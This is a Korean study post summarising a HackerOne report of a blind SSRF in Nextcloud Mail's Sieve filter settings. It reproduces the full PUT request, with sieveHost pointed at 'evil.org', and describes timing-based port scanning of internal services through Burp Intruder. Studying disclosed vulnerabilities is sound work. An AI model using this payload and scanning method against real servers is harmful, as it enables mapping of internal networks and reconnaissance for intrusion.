본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.
분석 레포트
https://hackerone.com/reports/1741525
Nextcloud Mail 애플리케이션을 통해 또 다른 Blind SSRF 취약점을 보고한다.
( 보고서 제출 일 기준) 최신 mail release : 2.0.1
Steps to Reproduce
해당 보고서는 새로운 매개변수와 다른 endpoint를 다룬다는 점을 제외하면, #1736390 report와 유사하다.
(Sieve) 필터 서버를 통해 필터를 추가할 때, ( mail 애플리케이션 -> 메일함 추가 -> 설정 -> 시브(Sieve) 필터 서버 ) 다음과 같은 요청이 수행된다.
PUT /apps/mail/api/sieve/account/5 HTTP/2
Host: redacted
Cookie: redactedr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Requesttoken: redacted
Content-Length: 117
Origin: redacted
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"sieveEnabled":true,"sieveHost":"evil.org","sievePort":"80","sieveUser":"","sievePassword":"","sieveSslMode":"none"}
SSRF 는 sieveHost 매개변수에서 찾을 수 있으며, sieveSslMode 매개변수가 없음으로 설정되어 있어야 된다. 버프 인트루더 도구를 통해 Nextcloud 서버의 열린 포트를 추측해 본다.
응답 시간 100ms 미만이면, 닫힌 포트. 응답 시간 5000ms 이상이면, 열린 포트 및 해당 포트에서 서비스 수신 중이라 판단할 수 있다.
NC 서버에 대한 Burp Intruder 결과는 아래와 같다.
Port 80 - Apache2 service
Port 443 - Apache2 service
Port 2222 - SSH ! (critical)
Port 6060 - CrowdSec
Port 8080 - CrowdSec
Port 3306 - MySQL
Port 5432 - PostgreSQL
Port 6379 - My Redis instance for Nextcloud
Impact
- Owasp -
웹 애플리케이션이 사용자가 제공한 URL의 유효성을 검사하지 않고 원격 리소스를 가져올 때마다 SSRF 결함이 발생한다. 이를 통해 공격자는 방화벽, VPN 또는 다른 유형의 네트워크 액세스 제어 목록(ACL)으로 보호되는 경우에도 애플리케이션이 예상치 못한 대상으로 조작된 요청을 보내도록 강제할 수 있다.
해당 취약점으로 인해 악의적인 사용자가 Nextcloud를 통해 서버와 회사 내부 네트워크를 매핑할 수 있다.
- IP 주소가 응답하고 있는지?
- 어떤 포트가 열려있는지?
...